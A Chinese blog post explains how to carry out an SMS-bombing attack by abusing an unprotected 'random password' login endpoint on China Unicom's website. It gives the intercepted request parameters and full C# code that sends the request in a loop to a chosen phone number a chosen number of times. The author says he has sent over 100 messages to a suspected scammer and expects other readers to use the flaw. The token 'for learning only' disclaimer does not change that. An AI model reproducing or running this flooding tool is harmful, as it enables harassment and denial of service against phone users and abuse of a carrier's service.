利用联通的随机密码功能实现短信攻击

说到短信攻击,估计各位大虾们都不会陌生,其基本方式不外乎是通过向目标手机号发送大批量的垃圾短信,而且发的是免费的短信。这些免费的短信通常是网站或sp服务商发送确认密码或随机密码,只要输入手机号就可以。不过最近漏洞比较少,开发人员都学会了输入验证码之后才让发送短信。不过最近还是让我发现了一处漏洞,仅仅输入手机号,不需要输入验证码就可以发送,其来源就是标题所说的联通网站(http://www.10010.com/myAccount.jsp)。实现方式是,在用户登录时选择"随机密码",输入手机号之后,点击"点击获取随机密码"就可以收到一条短信。 发现这一功能后,当即用firebug拦截了请求数据,发现其仅仅是通过post一些参数来实现,没有任何的验证。拦截数据如下图:

请求路径:

 

请求数据:

利用联通的随机密码功能实现短信攻击

很明显 c0-param0后面的内容就是手机号码,只要更改该手机号码为目标号码即可。

这样制作一个短信攻击最重要的内容已经有了,接下来就是让程序去多次发送请求,即可实现简单的短信攻击。

实现的基本代码如下:

 

实现代码
///   <summary>
        
///  创建HttpWebRequest
        
///   </summary>
        
///   <returns></returns>
         private   static  HttpWebRequest CreateHttpWebRequest( string  url)
        {
            HttpWebRequest webRequest 
=  WebRequest.Create(url)  as  HttpWebRequest;
            webRequest.UserAgent 
=   " Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 " ;
            webRequest.Accept 
=   " */* " ;
            webRequest.ContentType 
=   " */* " ;
            webRequest.Referer 
=   " http://www.java.com.cn " ;
            webRequest.CookieContainer 
=   new  CookieContainer();
            
return  webRequest;
        }

        
///   <summary>
        
///  发送post请求
        
///   </summary>
        
///   <param name="url"> 路径 </param>
        
///   <param name="pars"> 参数 </param>
         private   static   void  SendPostRequest( string  url, Dictionary < string string >  pars)
        {
            HttpWebRequest request 
=  CreateHttpWebRequest(url);
            request.Method 
=   " post " ;

            request.ContentType 
=   " application/x-www-form-urlencoded " ;
            
//  请求参数
            StringBuilder sbRequestPars  =   new  StringBuilder();
            
foreach  (KeyValuePair < string string >  par  in  pars)
            {
                sbRequestPars.AppendFormat(
" {0}={1}& " , par.Key, par.Value);
            }
            
//  去除最后的&
            sbRequestPars  =   new  StringBuilder(sbRequestPars.ToString( 0 , sbRequestPars.Length  -   1 ));

            
byte [] data  =  Encoding.ASCII.GetBytes(sbRequestPars.ToString());
            request.ContentLength 
=  data.Length;
            
//  写入请求参数
            Stream myStream  =  request.GetRequestStream();
            myStream.Write(data, 
0 , data.Length);
            myStream.Close();

            
try
            {
                HttpWebResponse res 
=  request.GetResponse()  as  HttpWebResponse;
            }
            
catch  (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }

        
public   static   void  Main( string [] args)
        {
            Console.WriteLine(
" 请输入手机号: " );
            
string  phone  =  Console.ReadLine();
            Console.WriteLine(
" 请输入攻击次数: " );
            
int  cnt  =   int .Parse(Console.ReadLine().Trim());

            
//  关键执行部分
            Dictionary < string string >  pars  =   new  Dictionary < string string > ();
            pars.Add(
" callCount " " 1 " );
            pars.Add(
" c0-scriptName " " Login " );
            pars.Add(
" c0-methodName " " sendRandomPWD " );
            pars.Add(
" c0-id " " 7587_1260864462581 " );
            pars.Add(
" c0-param0 " " string: "   +  phone);
            pars.Add(
" xml " " true " );

            
for  ( int  i  =   0 ; i  <  cnt; i ++ )
            {
                Console.WriteLine(
" 正在发送第{0}条 " , (i + 1 ).ToString());
                SendPostRequest(
" http://www.10010.com/dwr/exec/Login.sendRandomPWD.dwr " , pars);
            }

            Console.WriteLine(
" 执行完毕 " );
            Console.ReadLine();
            Environment.Exit(
- 1 );
        }

 

经过本人手机测试,发送10条以上没有问题。另外今天也用来整了一个电话诈骗的,发送了100多条。不过,有个重要问题就是只能用在联通的手机号上,不用我说为什么了。

估计联通网站目前还不知道这个问题,发帖之后很多人会用这个资源,到时候还是会把这个漏洞补上的。

最后提醒,这个仅供学习、练习之用,或者用来整治那些电话诈骗、短信骚扰的,不可用于违法行为。


你可能感兴趣的:(短信)